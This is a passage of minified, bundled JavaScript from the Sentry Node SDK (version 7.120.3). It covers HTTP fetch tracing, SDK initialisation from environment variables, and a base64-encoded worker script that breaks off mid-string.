_=this._headersUrlMap.get($);if(_!==void 0)return _;let G=O6A.stringMatchesSomePattern($,z.tracePropagationTargets);return this._headersUrlMap.set($,G),G})(q)){let{traceId:$,spanId:_,sampled:G,dsc:Z}={...H.getPropagationContext(),...w.getPropagationContext()},W=O?QX.spanToTraceHeader(O):O6A.generateSentryTraceHeader($,_,G),D=O6A.dynamicSamplingContextToSentryBaggageHeader(Z||(O?QX.getDynamicSamplingContextFromSpan(O):QX.getDynamicSamplingContextFromClient($,Y,w)));beq(K,W,D)}}}__init5(){this._onRequestEnd=(A)=>{if(!rtA([QX.getClient,"call",(w)=>w(),"optionalAccess",(w)=>w.getIntegration,"call",(w)=>w(JV)]))return;let{request:K,response:q}=A,Y=K.origin?K.origin.toString()+K.path:K.path;if(QX.isSentryRequestUrl(Y,QX.getClient()))return;let z=K.__sentry_span__;if(z)QX.setHttpStatus(z,q.statusCode),z.end();if(this._options.breadcrumbs)QX.addBreadcrumb({category:"http",data:{method:K.method,status_code:q.statusCode,url:Y},type:"http"},{event:"response",request:K,response:q})}}__init6(){this._onRequestError=(A)=>{if(!rtA([QX.getClient,"call",(z)=>z(),"optionalAccess",(z)=>z.getIntegration,"call",(z)=>z(JV)]))return;let{request:K}=A,q=K.origin?K.origin.toString()+K.path:K.path;if(QX.isSentryRequestUrl(q,QX.getClient()))return;let Y=K.__sentry_span__;if(Y)Y.setStatus("internal_error"),Y.end();if(this._options.breadcrumbs)QX.addBreadcrumb({category:"http",data:{method:K.method,url:q},level:"error",type:"http"},{event:"error",request:K})}}}JV.__initStatic();function beq(A,K,q){let Y;if(Array.isArray(A.headers))Y=A.headers.some((z)=>z==="sentry-trace");else Y=A.headers.split(`\r `).some((w)=>w.startsWith("sentry-trace:"));if(Y)return;if(A.addHeader("sentry-trace",K),q)A.addHeader("baggage",q)}function xeq(A,K,q){let Y=O6A.parseUrl(q),z=K.method||"GET",w={"http.method":z};if(Y.search)w["http.query"]=Y.search;if(Y.hash)w["http.fragment"]=Y.hash;return rtA([A,"optionalAccess",(H)=>H.startChild,"call",(H)=>H({op:"http.client",origin:"auto.http.node.undici",description:`${z} ${O6A.getSanitizedUrlString(Y)}`,data:w})])}ME8.Undici=JV;ME8.nativeNodeFetchintegration=heq});var Fm1=v((fE8)=>{Object.defineProperty(fE8,"__esModule",{value:!0});var PE8=CA("path"),meq=H8();function VE8(A){return A.replace(/^[A-Z]:/,"").replace(/\\/g,"/")}function geq(A=process.argv[1]?meq.dirname(process.argv[1]):process.cwd(),K=PE8.sep==="\\"){let q=K?VE8(A):A;return(Y)=>{if(!Y)return;let z=K?VE8(Y):Y,{dir:w,base:H,ext:J}=PE8.posix.parse(z);if(J===".js"||J===".mjs"||J===".cjs")H=H.slice(0,J.length*-1);if(!w)w=".";let O=w.lastIndexOf("/node_modules");if(O>-1)return`${w.slice(O+14).replace(/\//g,".")}:${H}`;if(w.startsWith(q)){let X=w.slice(q.length+1).replace(/\//g,".");if(X)X+=":";return X+=H,X}return H}}fE8.createGetModuleFromFilename=geq});var Qm1=v((kE8)=>{var{_optionalChain:Qeq}=H8();Object.defineProperty(kE8,"__esModule",{value:!0});var mE=sq(),X6A=H8(),Ueq=$v8(),peq=Em1(),deq=btA(),ceq=xtA(),leq=BtA(),ieq=mtA(),neq=QtA(),req=UtA(),oeq=ctA(),aeq=itA(),seq=ntA(),teq=otA(),eeq=Fm1(),AA5=Lm1(),NE8=[mE.inboundFiltersIntegration(),mE.functionToStringIntegration(),mE.linkedErrorsIntegration(),mE.requestDataIntegration(),deq.consoleIntegration(),ieq.httpIntegration(),teq.nativeNodeFetchintegration(),oeq.onUncaughtExceptionIntegration(),aeq.onUnhandledRejectionIntegration(),leq.contextLinesIntegration(),neq.localVariablesIntegration(),ceq.nodeContextIntegration(),req.modulesIntegration()];function TE8(A){let K=mE.getMainCarrier(),q=Qeq([K,"access",(Y)=>Y.__SENTRY__,"optionalAccess",(Y)=>Y.integrations])||[];return[...NE8,...q]}function KA5(A={}){if(Ueq.setNodeAsyncContextStrategy(),A.defaultIntegrations===void 0)A.defaultIntegrations=TE8();if(A.dsn===void 0&&process.env.SENTRY_DSN)A.dsn=process.env.SENTRY_DSN;let K=process.env.SENTRY_TRACES_SAMPLE_RATE;if(A.tracesSampleRate===void 0&&K){let Y=parseFloat(K);if(isFinite(Y))A.tracesSampleRate=Y}if(A.release===void 0){let Y=vE8();if(Y!==void 0)A.release=Y;else A.autoSessionTracking=!1}if(A.environment===void 0&&process.env.SENTRY_ENVIRONMENT)A.environment=process.env.SENTRY_ENVIRONMENT;if(A.autoSessionTracking===void 0&&A.dsn!==void 0)A.autoSessionTracking=!0;if(A.instrumenter===void 0)A.instrumenter="sentry";let q={...A,stackParser:X6A.stackParserFromStackParserOptions(A.stackParser||EE8),integrations:mE.getIntegrationsToSetup(A),transport:A.transport||AA5.makeNodeTransport};if(mE.initAndBind(A.clientClass||peq.NodeClient,q),A.autoSessionTracking)YA5();if(zA5(),A.spotlight){let Y=mE.getClient();if(Y&&Y.addIntegration){let z=Y.getOptions().integrations;for(let w of z)Y.addIntegration(w);Y.addIntegration(seq.spotlightIntegration({sidecarUrl:typeof A.spotlight==="string"?A.spotlight:void 0}))}}}function qA5(A){if(A===void 0)return!1;let K=A&&A.getOptions();if(K&&K.autoSessionTracking!==void 0)return K.autoSessionTracking;return!1}function vE8(A){if(process.env.SENTRY_RELEASE)return process.env.SENTRY_RELEASE;if(X6A.GLOBAL_OBJ.SENTRY_RELEASE&&X6A.GLOBAL_OBJ.SENTRY_RELEASE.id)return X6A.GLOBAL_OBJ.SENTRY_RELEASE.id;return process.env.GITHUB_SHA||process.env.COMMIT_REF||process.env.VERCEL_GIT_COMMIT_SHA||process.env.VERCEL_GITHUB_COMMIT_SHA||process.env.VERCEL_GITLAB_COMMIT_SHA||process.env.VERCEL_BITBUCKET_COMMIT_SHA||process.env.ZEIT_GITHUB_COMMIT_SHA||process.env.ZEIT_GITLAB_COMMIT_SHA||process.env.ZEIT_BITBUCKET_COMMIT_SHA||process.env.CF_PAGES_COMMIT_SHA||A}var EE8=X6A.createStackParser(X6A.nodeStackLineParser(eeq.createGetModuleFromFilename()));function YA5(){mE.startSession(),process.on("beforeExit",()=>{let A=mE.getIsolationScope().getSession();if(A&&!["exited","crashed"].includes(A.status))mE.endSession()})}function zA5(){let A=(process.env.SENTRY_USE_ENVIRONMENT||"").toLowerCase();if(!["false","n","no","off","0"].includes(A)){let K=process.env.SENTRY_TRACE,q=process.env.SENTRY_BAGGAGE,Y=X6A.propagationContextFromHeaders(K,q);mE.getCurrentScope().setPropagationContext(Y)}}kE8.defaultIntegrations=NE8;kE8.defaultStackParser=EE8;kE8.getDefaultIntegrations=TE8;kE8.getSentryRelease=vE8;kE8.init=KA5;kE8.isAutoSessionTrackingEnabled=qA5});var LE8=v((CE8)=>{Object.defineProperty(CE8,"__esModule",{value:!0});var atA=CA("fs"),Um1=CA("path");function _A5(A){let K=Um1.resolve(A);if(!atA.existsSync(K))throw Error(`Cannot read contents of ${K}. Directory does not exist.`);if(!atA.statSync(K).isDirectory())throw Error(`Cannot read contents of ${K}, because it is not a directory.`);let q=(Y)=>{return atA.readdirSync(Y).reduce((z,w)=>{let H=Um1.join(Y,w);if(atA.statSync(H).isDirectory())return z.concat(q(H));return z.push(H),z},[])};return q(K).map((Y)=>Um1.relative(K,Y))}CE8.deepReadDirSync=_A5});var RE8=v((ZA5)=>{/*! @sentry/node 7.120.3 (5a833b4) | https://github.com/getsentry/sentry-javascript */ZA5.base64WorkerScript="aW1wb3J0IHsgU2Vzc2lvbiB9IGZyb20gJ2luc3BlY3Rvcic7CmltcG9ydCB7IHdvcmtlckRhdGEsIHBhcmVudFBvcnQgfSBmcm9tICd3b3JrZXJfdGhyZWFkcyc7CmltcG9ydCB7IHBvc2l4LCBzZXAgfSBmcm9tICdwYXRoJzsKaW1wb3J0ICogYXMgaHR0cCBmcm9tICdodHRwJzsKaW1wb3J0ICogYXMgaHR0cHMgZnJvbSAnaHR0cHMnOwppbXBvcnQgeyBSZWFkYWJsZSB9IGZyb20gJ3N0cmVhbSc7CmltcG9ydCB7IFVSTCB9IGZyb20gJ3VybCc7CmltcG9ydCB7IGNyZWF0ZUd6aXAgfSBmcm9tICd6bGliJzsKaW1wb3J0ICogYXMgbmV0IGZyb20gJ25ldCc7CmltcG9ydCAqIGFzIHRscyBmcm9tICd0bHMnOwoKLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIEB0eXBlc2NyaXB0LWVzbGludC91bmJvdW5kLW1ldGhvZApjb25zdCBvYmplY3RUb1N0cmluZyA9IE9iamVjdC5wcm90b3R5cGUudG9TdHJpbmc7CgovKioKICogQ2hlY2tzIHdoZXRoZXIgZ2l2ZW4gdmFsdWUncyB0eXBlIGlzIG9uZSBvZiBhIGZldyBFcnJvciBvciBFcnJvci1saWtlCiAqIHtAbGluayBpc0Vycm9yfS4KICoKICogQHBhcmFtIHdhdCBBIHZhbHVlIHRvIGJlIGNoZWNrZWQuCiAqIEByZXR1cm5zIEEgYm9vbGVhbiByZXByZXNlbnRpbmcgdGhlIHJlc3VsdC4KICovCmZ1bmN0aW9uIGlzRXJyb3Iod2F0KSB7CiAgc3dpdGNoIChvYmplY3RUb1N0cmluZy5jYWxsKHdhdCkpIHsKICAgIGNhc2UgJ1tvYmplY3QgRXJyb3JdJzoKICAgIGNhc2UgJ1tvYmplY3QgRXhjZXB0aW9uXSc6CiAgICBjYXNlICdbb2JqZWN0IERPTUV4Y2VwdGlvbl0nOgogICAgICByZXR1cm4gdHJ1ZTsKICAgIGRlZmF1bHQ6CiAgICAgIHJldHVybiBpc0luc3RhbmNlT2Yod2F0LCBFcnJvcik7CiAgfQp9Ci8qKgogKiBDaGVja3Mgd2hldGhlciBnaXZlbiB2YWx1ZSBpcyBhbiBpbnN0YW5jZSBvZiB0aGUgZ2l2ZW4gYnVpbHQtaW4gY2xhc3MuCiAqCiAqIEBwYXJhbSB3YXQgVGhlIHZhbHVlIHRvIGJlIGNoZWNrZWQKICogQHBhcmFtIGNsYXNzTmFtZQogKiBAcmV0dXJucyBBIGJvb2xlYW4gcmVwcmVzZW50aW5nIHRoZSByZXN1bHQuCiAqLwpmdW5jdGlvbiBpc0J1aWx0aW4od2F0LCBjbGFzc05hbWUpIHsKICByZXR1cm4gb2JqZWN0VG9TdHJpbmcuY2FsbCh3YXQpID09PSBgW29iamVjdCAke2NsYXNzTmFtZX1dYDsKfQoKLyoqCiAqIENoZWNrcyB3aGV0aGVyIGdpdmVuIHZhbHVlJ3MgdHlwZSBpcyBhIHN0cmluZwogKiB7QGxpbmsgaXNTdHJpbmd9LgogKgogKiBAcGFyYW0gd2F0IEEgdmFsdWUgdG8gYmUgY2hlY2tlZC4KICogQHJldHVybnMgQSBib29sZWFuIHJlcHJlc2VudGluZyB0aGUgcmVzdWx0LgogKi8KZnVuY3Rpb24gaXNTdHJpbmcod2F0KSB7CiAgcmV0dXJuIGlzQnVpbHRpbih3YXQsICdTdHJpbmcnKTsKfQoKLyoqCiAqIENoZWNrcyB3aGV0aGVyIGdpdmVuIHZhbHVlJ3MgdHlwZSBpcyBhbiBvYmplY3QgbGl0ZXJhbCwgb3IgYSBjbGFzcyBpbnN0YW5jZS4KICoge0BsaW5rIGlzUGxhaW5PYmplY3R9LgogKgogKiBAcGFyYW0gd2F0IEEgdmFsdWUgdG8gYmUgY2hlY2tlZC4KICogQHJldHVybnMgQSBib29sZWFuIHJlcHJlc2VudGluZyB0aGUgcmVzdWx0LgogKi8KZnVuY3Rpb24gaXNQbGFpbk9iamVjdCh3YXQpIHsKICByZXR1cm4gaXNCdWlsdGluKHdhdCwgJ09iamVjdCcpOwp9CgovKioKICogQ2hlY2tzIHdoZXRoZXIgZ2l2ZW4gdmFsdWUncyB0eXBlIGlzIGFuIEV2ZW50IGluc3RhbmNlCiAqIHtAbGluayBpc0V2ZW50fS4KICoKICogQHBhcmFtIHdhdCBBIHZhbHVlIHRvIGJlIGNoZWNrZWQuCiAqIEByZXR1cm5zIEEgYm9vbGVhbiByZXByZXNlbnRpbmcgdGhlIHJlc3VsdC4KICovCmZ1bmN0aW9uIGlzRXZlbnQod2F0KSB7CiAgcmV0dXJuIHR5cGVvZiBFdmVudCAhPT0gJ3VuZGVmaW5lZCcgJiYgaXNJbnN0YW5jZU9mKHdhdCwgRXZlbnQpOwp9CgovKioKICogQ2hlY2tzIHdoZXRoZXIgZ2l2ZW4gdmFsdWUncyB0eXBlIGlzIGFuIEVsZW1lbnQgaW5zdGFuY2UKICoge0BsaW5rIGlzRWxlbWVudH0uCiAqCiAqIEBwYXJhbSB3YXQgQSB2YWx1ZSB0byBiZSBjaGVja2VkLgogKiBAcmV0dXJucyBBIGJvb2xlYW4gcmVwcmVzZW50aW5nIHRoZSByZXN1bHQuCiAqLwpmdW5jdGlvbiBpc0VsZW1lbnQod2F0KSB7CiAgcmV0dXJuIHR5cGVvZiBFbGVtZW50ICE9PSAndW5kZWZpbmVkJyAmJiBpc0luc3RhbmNlT2Yod2F0LCBFbGVtZW50KTsKfQoKLyoqCiAqIENoZWNrcyB3aGV0aGVyIGdpdmVuIHZhbHVlIGhhcyBhIHRoZW4gZnVuY3Rpb24uCiAqIEBwYXJhbSB3YXQgQSB2YWx1ZSB0byBiZSBjaGVja2VkLgogKi8KZnVuY3Rpb24gaXNUaGVuYWJsZSh3YXQpIHsKICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgQHR5cGVzY3JpcHQtZXNsaW50L25vLXVuc2FmZS1tZW1iZXItYWNjZXNzCiAgcmV0dXJuIEJvb2xlYW4od2F0ICYmIHdhdC50aGVuICYmIHR5cGVvZiB3YXQudGhlbiA9PT0gJ2Z1bmN0aW9uJyk7Cn0KCi8qKgogKiBDaGVja3Mgd2hldGhlciBnaXZlbiB2YWx1ZSdzIHR5cGUgaXMgYSBTeW50aGV0aWNFdmVudAogKiB7QGxpbmsgaXNTeW50aGV0aWNFdmVudH0uCiAqCiAqIEBwYXJhbSB3YXQgQSB2YWx1ZSB0byBiZSBjaGVja2VkLgogKiBAcmV0dXJucyBBIGJvb2xlYW4gcmVwcmVzZW50aW5nIHRoZSByZXN1bHQuCiAqLwpmdW5jdGlvbiBpc1N5bnRoZXRpY0V2ZW50KHdhdCkgewogIHJldHVybiBpc1BsYWluT2JqZWN0KHdhdCkgJiYgJ25hdGl2ZUV2ZW50JyBpbiB3YXQgJiYgJ3ByZXZlbnREZWZhdWx0JyBpbiB3YXQgJiYgJ3N0b3BQcm9wYWdhdGlvbicgaW4gd2F0Owp9CgovKioKICogQ2hlY2tzIHdoZXRoZXIgZ2l2ZW4gdmFsdWUgaXMgTmFOCiAqIHtAbGluayBpc05hTn0uCiAqCiAqIEBwYXJhbSB3YXQgQSB2YWx1ZSB0byBiZSBjaGVja2VkLgogKiBAcmV0dXJucyBBIGJvb2xlYW4gcmVwcmVzZW50aW5nIHRoZSByZXN1bHQuCiAqLwpmdW5jdGlvbiBpc05hTiQxKHdhdCkgewogIHJldHVybiB0eXBlb2Ygd2F0ID09PSAnbnVtYmVyJyAmJiB3YXQgIT09IHdhdDsKfQoKLyoqCiAqIENoZWNrcyB3aGV0aGVyIGdpdmVuIHZhbHVlJ3MgdHlwZSBpcyBhbiBpbnN0YW5jZSBvZiBwcm92aWRlZCBjb25zdHJ1Y3Rvci4KICoge0BsaW5rIGlzSW5zdGFuY2VPZn0uCiAqCiAqIEBwYXJhbSB3YXQgQSB2YWx1ZSB0byBiZSBjaGVja2VkLgogKiBAcGFyYW0gYmFzZSBBIGNvbnN0cnVjdG9yIHRvIGJlIHVzZWQgaW4gYSBjaGVjay4KICogQHJldHVybnMgQSBib29sZWFuIHJlcHJlc2VudGluZyB0aGUgcmVzdWx0LgogKi8KZnVuY3Rpb24gaXNJbnN0YW5jZU9mKHdhdCwgYmFzZSkgewogIHRyeSB7CiAgICByZXR1cm4gd2F0IGluc3RhbmNlb2YgYmFzZTsKICB9IGNhdGNoIChfZSkgewogICAgcmV0dXJuIGZhbHNlOwogIH0KfQoKLyoqCiAqIENoZWNrcyB3aGV0aGVyIGdpdmVuIHZhbHVlJ3MgdHlwZSBpcyBhIFZ1ZSBWaWV3TW9kZWwuCiAqCiAqIEBwYXJhbSB3YXQgQSB2YWx1ZSB0byBiZSBjaGVja2VkLgogKiBAcmV0dXJucyBBIGJvb2xlYW4gcmVwcmVzZW50aW5nIHRoZSByZXN1bHQuCiAqLwpmdW5jdGlvbiBpc1Z1ZVZpZXdNb2RlbCh3YXQpIHsKICAvLyBOb3QgdXNpbmcgT2JqZWN0LnByb3RvdHlwZS50b1N0cmluZyBiZWNhdXNlIGluIFZ1ZSAzIGl0IHdvdWxkIHJlYWQgdGhlIGluc3RhbmNlJ3MgU3ltYm9sKFN5bWJvbC50b1N0cmluZ1RhZykgcHJvcGVydHkuCiAgcmV0dXJuICEhKHR5cGVvZiB3YXQgPT09ICdvYmplY3QnICYmIHdhdCAhPT0gbnVsbCAmJiAoKHdhdCApLl9faXNWdWUgfHwgKHdhdCApLl9pc1Z1ZSkpOwp9CgovKiogSW50ZXJuYWwgZ2xvYmFsIHdpdGggY29tbW9uIHByb3BlcnRpZXMgYW5kIFNlbnRyeSBleHRlbnNpb25zICAqLwoKLy8gVGhlIGNvZGUgYmVsb3cgZm9yICdpc0dsb2JhbE9iaicgYW5kICdHTE9CQUxfT0JKJyB3YXMgY29waWVkIGZyb20gY29yZS1qcyBiZWZvcmUgbW9kaWZpY2F0aW9uCi8vIGh0dHBzOi8vZ2l0aHViLmNvbS96bG9pcm9jay9jb3JlLWpzL2Jsb2IvMWI5NDRkZjU1MjgyY2RjOTljOTBkYjVmNDllYjBiNmVkYTJjYzBhMy9wYWNrYWdlcy9jb3JlLWpzL2ludGVybmFscy9nbG9iYWwuanMKLy8gY29yZS1qcyBoYXMgdGhlIGZvbGxvd2luZyBsaWNlbmNlOgovLwovLyBDb3B5cmlnaHQgKGMpIDIwMTQtMjAyMiBEZW5pcyBQdXNoa2FyZXYKLy8KLy8gUGVybWlzc2lvbiBpcyBoZXJlYnkgZ3JhbnRlZCwgZnJlZSBvZiBjaGFyZ2UsIHRvIGFueSBwZXJzb24gb2J0YWluaW5nIGEgY29weQovLyBvZiB0aGlzIHNvZnR3YXJlIGFuZCBhc3NvY2lhdGVkIGRvY3VtZW50YXRpb24gZmlsZXMgKHRoZSAiU29mdHdhcmUiKSwgdG8gZGVhbAovLyBpbiB0aGUgU29mdHdhcmUgd2l0aG91dCByZXN0cmljdGlvbiwgaW5jbHVkaW5nIHdpdGhvdXQgbGltaXRhdGlvbiB0aGUgcmlnaHRzCi8vIHRvIHVzZSwgY29weSwgbW9kaWZ5LCBtZXJnZSwgcHVibGlzaCwgZGlzdHJpYnV0ZSwgc3VibGljZW5zZSwgYW5kL29yIHNlbGwKLy8gY29waWVzIG9mIHRoZSBTb2Z0d2FyZSwgYW5kIHRvIHBlcm1pdCBwZXJzb25zIHRvIHdob20gdGhlIFNvZnR3YXJlIGlzCi8vIGZ1cm5pc2hlZCB0byBkbyBzbywgc3ViamVjdCB0byB0aGUgZm9sbG93aW5nIGNvbmRpdGlvbnM6Ci8vCi8vIFRoZSBhYm92ZSBjb3B5cmlnaHQgbm90aWNlIGFuZCB0aGlzIHBlcm1pc3Npb24gbm90aWNlIHNoYWxsIGJlIGluY2x1ZGVkIGluCi8vIGFsbCBjb3BpZXMgb3Igc3Vic3RhbnRpYWwgcG9ydGlvbnMgb2YgdGhlIFNvZnR3YXJlLgovLwovLyBUSEUgU09GVFdBUkUgSVMgUFJPVklERUQgIkFTIElTIiwgV0lUSE9VVCBXQVJSQU5UWSBPRiBBTlkgS0lORCwgRVhQUkVTUyBPUgovLyBJTVBMSUVELCBJTkNMVURJTkcgQlVUIE5PVCBMSU1JVEVEIFRPIFRIRSBXQVJSQU5USUVTIE9GIE1FUkNIQU5UQUJJTElUWSwKLy8gRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UgQU5EIE5PTklORlJJTkdFTUVOVC4gSU4gTk8gRVZFTlQgU0hBTEwgVEhFCi8vIEFVVEhPUlMgT1IgQ09QWVJJR0hUIEhPTERFUlMgQkUgTElBQkxFIEZPUiBBTlkgQ0xBSU0sIERBTUFHRVMgT1IgT1RIRVIKLy8gTElBQklMSVRZLCBXSEVUSEVSIElOIEFOIEFDVElPTiBPRiBDT05UUkFDVCwgVE9SVCBPUiBPVEhFUldJU0UsIEFSSVNJTkcgRlJPTSwKLy8gT1VUIE9GIE9SIElOIENPTk5FQ1RJT04gV0lUSCBUSEUgU09GVFdBUkUgT1IgVEhFIFVTRSBPUiBPVEhFUiBERUFMSU5HUyBJTgovLyBUSEUgU09GVFdBUkUuCgovKiogUmV0dXJucyAnb2JqJyBpZiBpdCdzIHRoZSBnbG9iYWwgb2JqZWN0LCBvdGhlcndpc2UgcmV0dXJucyB1bmRlZmluZWQgKi8KZnVuY3Rpb24gaXNHbG9iYWxPYmoob2JqKSB7CiAgcmV0dXJuIG9iaiAmJiBvYmouTWF0aCA9PSBNYXRoID8gb2JqIDogdW5kZWZpbmVkOwp9CgovKiogR2V0J3MgdGhlIGdsb2JhbCBvYmplY3QgZm9yIHRoZSBjdXJyZW50IEphdmFTY3JpcHQgcnVudGltZSAqLwpjb25zdCBHTE9CQUxfT0JKID0KICAodHlwZW9mIGdsb2JhbFRoaXMgPT0gJ29iamVjdCcgJiYgaXNHbG9iYWxPYmooZ2xvYmFsVGhpcykpIHx8CiAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIG5vLXJlc3RyaWN0ZWQtZ2xvYmFscwogICh0eXBlb2Ygd2luZG93ID09ICdvYmplY3QnICYmIGlzR2xvYmFsT2JqKHdpbmRvdykpIHx8CiAgKHR5cGVvZiBzZWxmID09ICdvYmplY3QnICYmIGlzR2xvYmFsT2JqKHNlbGYpKSB8fAogICh0eXBlb2YgZ2xvYmFsID09ICdvYmplY3QnICYmIGlzR2xvYmFsT2JqKGdsb2JhbCkpIHx8CiAgKGZ1bmN0aW9uICgpIHsKICAgIHJldHVybiB0aGlzOwogIH0pKCkgfHwKICB7fTsKCi8qKgogKiBAZGVwcmVjYXRlZCBVc2UgR0xPQkFMX09CSiBpbnN0ZWFkIG9yIFdJTkRPVyBmcm9tIEBzZW50cnkvYnJvd3Nlci4gVGhpcyB3aWxsIGJlIHJlbW92ZWQgaW4gdjgKICovCmZ1bmN0aW9uIGdldEdsb2JhbE9iamVjdCgpIHsKICByZXR1cm4gR0xPQkFMX09CSiA7Cn0KCi8qKgogKiBSZXR1cm5zIGEgZ2xvYmFsIHNpbmdsZXRvbiBjb250YWluZWQgaW4gdGhlIGdsb2JhbCBgX19TRU5UUllfX2Agb2JqZWN0LgogKgogKiBJZiB0aGUgc2luZ2xldG9uIGRvZXNuJ3QgYWxyZWFkeSBleGlzdCBpbiBgX19TRU5UUllfX2AsIGl0IHdpbGwgYmUgY3JlYXRlZCB1c2luZyB0aGUgZ2l2ZW4gZmFjdG9yeQogKiBmdW5jdGlvbiBhbmQgYWRkZWQgdG8gdGhlIGBfX1NFTlRSWV9fYCBvYmplY3QuCiAqCiAqIEBwYXJhbSBuYW1lIG5hbWUgb2YgdGhlIGdsb2JhbCBzaW5nbGV0b24gb24gX19TRU5UUllfXwogKiBAcGFyYW0gY3JlYXRvciBjcmVhdG9yIEZhY3RvcnkgZnVuY3Rpb24gdG8gY3JlYXRlIHRoZSBzaW5nbGV0b24gaWYgaXQgZG9lc24ndCBhbHJlYWR5IGV4aXN0IG9uIGBfX1NFTlRSWV9fYAogKiBAcGFyYW0gb2JqIChPcHRpb25hbCkgVGhlIGdsb2JhbCBvYmplY3Qgb24gd2hpY2ggdG8gbG9vayBmb3IgYF9fU0VOVFJZX19gLCBpZiBub3QgYEdMT0JBTF9PQkpgJ3MgcmV0dXJuIHZhbHVlCiAqIEByZXR1cm5zIHRoZSBzaW5nbGV0b24KICovCmZ1bmN0aW9uIGdldEdsb2JhbFNpbmdsZXRvbihuYW1lLCBjcmVhdG9yLCBvYmopIHsKICBjb25zdCBnYmwgPSAob2JqIHx8IEdMT0JBTF9PQkopIDsKICBjb25zdCBfX1NFTlRSWV9fID0gKGdibC5fX1NFTlRSWV9fID0gZ2JsLl9fU0VOVFJZX18gfHwge30pOwogIGNvbnN0IHNpbmdsZXRvbiA9IF9fU0VOVFJZX19bbmFtZV0gfHwgKF9fU0VOVFJZX19bbmFtZV0gPSBjcmVhdG9yKCkpOwogIHJldHVybiBzaW5nbGV0b247Cn0KCi8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgpjb25zdCBXSU5ET1cgPSBnZXRHbG9iYWxPYmplY3QoKTsKCmNvbnN0IERFRkFVTFRfTUFYX1NUUklOR19MRU5HVEggPSA4MDsKCi8qKgogKiBHaXZlbiBhIGNoaWxkIERPTSBlbGVtZW50LCByZXR1cm5zIGEgcXVlcnktc2VsZWN0b3Igc3RhdGVtZW50IGRlc2NyaWJpbmcgdGhhdAogKiBhbmQgaXRzIGFuY2VzdG9ycwogKiBlLmcuIFtIVE1MRWxlbWVudF0gPT4gYm9keSA+IGRpdiA+IGlucHV0I2Zvby5idG5bbmFtZT1iYXpdCiAqIEByZXR1cm5zIGdlbmVyYXRlZCBET00gcGF0aAogKi8KZnVuY3Rpb24gaHRtbFRyZWVBc1N0cmluZygKICBlbGVtLAogIG9wdGlvbnMgPSB7fSwKKSB7CiAgaWYgKCFlbGVtKSB7CiAgICByZXR1cm4gJzx1bmtub3duPic7CiAgfQoKICAvLyB0cnkvY2F0Y2ggYm90aDoKICAvLyAtIGFjY2Vzc2luZyBldmVudC50YXJnZXQgKHNlZSBnZXRzZW50cnkvcmF2ZW4tanMjODM4LCAjNzY4KQogIC8vIC0gYGh0bWxUcmVlQXNTdHJpbmdgIGJlY2F1c2UgaXQncyBjb21wbGV4LCBhbmQganVzdCBhY2Nlc3NpbmcgdGhlIERPTSBpbmNvcnJlY3RseQogIC8vIC0gY2FuIHRocm93IGFuIGV4Y2VwdGlvbiBpbiBzb21lIGNpcmN1bXN0YW5jZXMuCiAgdHJ5IHsKICAgIGxldCBjdXJyZW50RWxlbSA9IGVsZW0gOwogICAgY29uc3QgTUFYX1RSQVZFUlNFX0hFSUdIVCA9IDU7CiAgICBjb25zdCBvdXQgPSBbXTsKICAgIGxldCBoZWlnaHQgPSAwOwogICAgbGV0IGxlbiA9IDA7CiAgICBjb25zdCBzZXBhcmF0b3IgPSAnID4gJzsKICAgIGNvbnN0IHNlcExlbmd0aCA9IHNlcGFyYXRvci5sZW5ndGg7CiAgICBsZXQgbmV4dFN0cjsKICAgIGNvbnN0IGtleUF0dHJzID0gQXJyYXkuaXNBcnJheShvcHRpb25zKSA/IG9wdGlvbnMgOiBvcHRpb25zLmtleUF0dHJzOwogICAgY29uc3QgbWF4U3RyaW5nTGVuZ3RoID0gKCFBcnJheS5pc0FycmF5KG9wdGlvbnMpICYmIG9wdGlvbnMubWF4U3RyaW5nTGVuZ3RoKSB8fCBERUZBVUxUX01BWF9TVFJJTkdfTEVOR1RIOwoKICAgIHdoaWxlIChjdXJyZW50RWxlbSAmJiBoZWlnaHQrKyA8IE1BWF9UUkFWRVJTRV9IRUlHSFQpIHsKICAgICAgbmV4dFN0ciA9IF9odG1sRWxlbWVudEFzU3RyaW5nKGN1cnJlbnRFbGVtLCBrZXlBdHRycyk7CiAgICAgIC8vIGJhaWwgb3V0IGlmCiAgICAgIC8vIC0gbmV4dFN0ciBpcyB0aGUgJ2h0bWwnIGVsZW1lbnQKICAgICAgLy8gLSB0aGUgbGVuZ3RoIG9mIHRoZSBzdHJpbmcgdGhhdCB3b3VsZCBiZSBjcmVhdGVkIGV4Y2VlZHMgbWF4U3RyaW5nTGVuZ3RoCiAgICAgIC8vICAgKGlnbm9yZSB0aGlzIGxpbWl0IGlmIHdlIGFyZSBvbiB0aGUgZmlyc3QgaXRlcmF0aW9uKQogICAgICBpZiAobmV4dFN0ciA9PT0gJ2h0bWwnIHx8IChoZWlnaHQgPiAxICYmIGxlbiArIG91dC5sZW5ndGggKiBzZXBMZW5ndGggKyBuZXh0U3RyLmxlbmd0aCA+PSBtYXhTdHJpbmdMZW5ndGgpKSB7CiAgICAgICAgYnJlYWs7CiAgICAgIH0KCiAgICAgIG91dC5wdXNoKG5leHRTdHIpOwoKICAgICAgbGVuICs9IG5leHRTdHIubGVuZ3RoOwogICAgICBjdXJyZW50RWxlbSA9IGN1cnJlbnRFbGVtLnBhcmVudE5vZGU7CiAgICB9CgogICAgcmV0dXJuIG91dC5yZXZlcnNlKCkuam9pbihzZXBhcmF0b3IpOwogIH0gY2F0Y2ggKF9vTykgewogICAgcmV0dXJuICc8dW5rbm93bj4nOwogIH0KfQoKLyoqCiAqIFJldHVybnMgYSBzaW1wbGUsIHF1ZXJ5LXNlbGVjdG9yIHJlcHJlc2VudGF0aW9uIG9mIGEgRE9NIGVsZW1lbnQKICogZS5nLiBbSFRNTEVsZW1lbnRdID0+IGlucHV0I2Zvby5idG5bbmFtZT1iYXpdCiAqIEByZXR1cm5zIGdlbmVyYXRlZCBET00gcGF0aAogKi8KZnVuY3Rpb24gX2h0bWxFbGVtZW50QXNTdHJpbmcoZWwsIGtleUF0dHJzKSB7CiAgY29uc3QgZWxlbSA9IGVsCgo7CgogIGNvbnN0IG91dCA9IFtdOwogIGxldCBjbGFzc05hbWU7CiAgbGV0IGNsYXNzZXM7CiAgbGV0IGtleTsKICBsZXQgYXR0cjsKICBsZXQgaTsKCiA